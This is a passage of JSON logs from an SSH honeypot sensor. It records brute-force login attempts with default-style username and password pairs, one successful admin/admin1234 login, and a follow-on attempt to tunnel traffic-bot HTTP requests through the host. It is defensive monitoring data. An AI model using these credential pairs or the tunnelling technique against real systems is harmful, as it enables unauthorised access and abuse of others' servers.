{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:40.945020Z","src_ip":"91.92.40.36","session":"6f3b7fa70eaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"duzon","password":"duzon@1234","message":"login attempt [duzon/duzon@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:43.235075Z","src_ip":"91.92.40.36","session":"6f3b7fa70eaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:44.872703Z","src_ip":"91.92.40.36","session":"6f3b7fa70eaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44666,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ae80231d829","protocol":"ssh","message":"New connection: 91.92.40.36:44666 (159.203.135.109:22) [session: 7ae80231d829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:47.539817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:48.075835Z","src_ip":"91.92.40.36","session":"7ae80231d829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:48.079908Z","src_ip":"91.92.40.36","session":"7ae80231d829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":42940,"dst_ip":"159.203.135.109","dst_port":22,"session":"64679408990f","protocol":"ssh","message":"New connection: 201.17.146.173:42940 (159.203.135.109:22) [session: 64679408990f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:49.239593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:49.244288Z","src_ip":"201.17.146.173","session":"64679408990f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:49.403421Z","src_ip":"201.17.146.173","session":"64679408990f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alvin","password":"123","message":"login attempt [alvin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:50.068958Z","src_ip":"201.17.146.173","session":"64679408990f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":54295,"dst_ip":"10.17.0.5","dst_port":22,"session":"13b2e9cb6f74","protocol":"ssh","message":"New connection: 23.148.145.132:54295 (10.17.0.5:22) [session: 13b2e9cb6f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:50.110379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:50.125967Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:50.196929Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"wasd","message":"login attempt [guest/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:50.354292Z","src_ip":"91.92.40.36","session":"7ae80231d829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:51.230589Z","src_ip":"201.17.146.173","session":"64679408990f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:51.510147Z","src_ip":"91.92.40.36","session":"7ae80231d829","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:53.296876Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55782,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a4832e37911","protocol":"ssh","message":"New connection: 91.92.40.36:55782 (159.203.135.109:22) [session: 7a4832e37911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:56.081286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:56.220345Z","src_ip":"91.92.40.36","session":"7a4832e37911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:56.223768Z","src_ip":"91.92.40.36","session":"7a4832e37911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomc@t","message":"login attempt [tomcat/tomc@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:57.273147Z","src_ip":"91.92.40.36","session":"7a4832e37911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:27:58.900099Z","src_ip":"91.92.40.36","session":"7a4832e37911","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55816,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bae80c14fb6","protocol":"ssh","message":"New connection: 91.92.40.36:55816 (159.203.135.109:22) [session: 2bae80c14fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:03.018413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:03.336262Z","src_ip":"91.92.40.36","session":"2bae80c14fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:03.340172Z","src_ip":"91.92.40.36","session":"2bae80c14fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afifi3","password":"123456","message":"login attempt [afifi3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:05.220800Z","src_ip":"91.92.40.36","session":"2bae80c14fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:06.558660Z","src_ip":"91.92.40.36","session":"2bae80c14fb6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:09.518124Z","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:09.546455Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MEpYemUjezduJnJVUVhkQQ%3D%3D8RKAIZl6t1cSXwFn4wm1%2F%2Fb6OQIaHpRcU15GpGlBrckyvGU1OmneGF2JUV%2B0HK9Re9d%2FK1OXnBOctItSEs2OzxPDd1Qv9NqXAlF%2FCORRNSzxWdQDJamAAKlv%2FKGUq3zukohq4gR0nofUqnuixrN0M0lFkWClBeGIxrWcLvoJFc1rfVCuypqs0dH7Al045F85%2Bt5cKwFsnsVL5samKBNHdDO9591YC7BQkD%2FeDDKA4jVmUuQ7Kt64b2neE5SAYUouwY62tUF7xfbv7m92PcxdKjqG91gQ1T04btsLZ848m8mIrNvtTzMvptc%2FNR7Ph2SRnUWYkJQh9B1w%2BhzTHBUpJjDosNnxAprDIx9Lp2dC3KtF3T6%2FctZbvxxGksbE9DGP5Lf54gHD4JW0CuDvf%2Bs7ytjjKGCCs2Fj6FinNvu1aXDlVBcjX3%2BgGW98fUfQfX8aNkC8F8ZfV9Gj%2BI9cB8%2FyWYR6%2BBns2JxNOncxhdhEicMnfUgZoPKkuyKzx8dy0dN9NyJ0nyBrWSa7fbk87ueOowhTfNwRyBvo0o5JfN3JwH6EgqWCCSu5TscLxjkmngMHJb%2BredqHmdCmy9quK8pCRQlKco2rz3EoGkZiPB%2F2olMGQns6yIF0E1UlTw0ITxv3ZmAaKDKSQiAB7r67bCGAPUs5bNBfh40abd06zD0YE1sgvjGy%2Fy2DcbFFKaIaRn9LFKUULGltNVEAdGfSU8UsjMl6Jt3erJo9rqKKP2G%2BbvZyYGhDN3TU%2B2pHaO5runcO2wFEMV1MDqWef5PqxGB5hZ27iTXfdTKzffTIOAh6ROMr%2FMjtsNPK21YJRdtrxulcrm6whhrA8FVQFLseT27f7oWI2Lk8ntH%2F%2Bfbn3IAANHZ5QQ4ej0DQEk9KNPvYHXO%2BXapQBUhtmhH53zrdq6TlQ0VCiNOSThd%2F6D1%2BkFz2Kr62svt%2Bt8k987aV%2BTzRAL2Ml%2F883%2FrIWk4gPDVSPN76Jy9%2BHHAH9IXp9VD%2FKpBtXXSBbP07sfwZvbHt7r50z1fZBPUEaMdRSeyCQfBigmmXi1hcVow4almmuw%2BOJh6XM%2Fs%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13C75 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MEpYemUjezduJnJVUVhkQQ%3D%3D8RKAIZl6t1cSXwFn4wm1%2F%2Fb6OQIaHpRcU15GpGlBrckyvGU1OmneGF2JUV%2B0HK9Re9d%2FK1OXnBOctItSEs2OzxPDd1Qv9NqXAlF%2FCORRNSzxWdQDJamAAKlv%2FKGUq3zukohq4gR0nofUqnuixrN0M0lFkWClBeGIxrWcLvoJFc1rfVCuypqs0dH7Al045F85%2Bt5cKwFsnsVL5samKBNHdDO9591YC7BQkD%2FeDDKA4jVmUuQ7Kt64b2neE5SAYUouwY62tUF7xfbv7m92PcxdKjqG91gQ1T04btsLZ848m8mIrNvtTzMvptc%2FNR7Ph2SRnUWYkJQh9B1w%2BhzTHBUpJjDosNnxAprDIx9Lp2dC3KtF3T6%2FctZbvxxGksbE9DGP5Lf54gHD4JW0CuDvf%2Bs7ytjjKGCCs2Fj6FinNvu1aXDlVBcjX3%2BgGW98fUfQfX8aNkC8F8ZfV9Gj%2BI9cB8%2FyWYR6%2BBns2JxNOncxhdhEicMnfUgZoPKkuyKzx8dy0dN9NyJ0nyBrWSa7fbk87ueOowhTfNwRyBvo0o5JfN3JwH6EgqWCCSu5TscLxjkmngMHJb%2BredqHmdCmy9quK8pCRQlKco2rz3EoGkZiPB%2F2olMGQns6yIF0E1UlTw0ITxv3ZmAaKDKSQiAB7r67bCGAPUs5bNBfh40abd06zD0YE1sgvjGy%2Fy2DcbFFKaIaRn9LFKUULGltNVEAdGfSU8UsjMl6Jt3erJo9rqKKP2G%2BbvZyYGhDN3TU%2B2pHaO5runcO2wFEMV1MDqWef5PqxGB5hZ27iTXfdTKzffTIOAh6ROMr%2FMjtsNPK21YJRdtrxulcrm6whhrA8FVQFLseT27f7oWI2Lk8ntH%2F%2Bfbn3IAANHZ5QQ4ej0DQEk9KNPvYHXO%2BXapQBUhtmhH53zrdq6TlQ0VCiNOSThd%2F6D1%2BkFz2Kr62svt%2Bt8k987aV%2BTzRAL2Ml%2F883%2FrIWk4gPDVSPN76Jy9%2BHHAH9IXp9VD%2FKpBtXXSBbP07sfwZvbHt7r50z1fZBPUEaMdRSeyCQfBigmmXi1hcVow4almmuw%2BOJh6XM%2Fs%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:09.550174Z","src_ip":"23.148.145.132","session":"13b2e9cb6f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":39022,"dst_ip":"159.203.135.109","dst_port":22,"session":"a07fa8aaa06c","protocol":"ssh","message":"New connection: 91.92.40.36:39022 (159.203.135.109:22) [session: a07fa8aaa06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:10.109244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:10.620894Z","src_ip":"91.92.40.36","session":"a07fa8aaa06c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 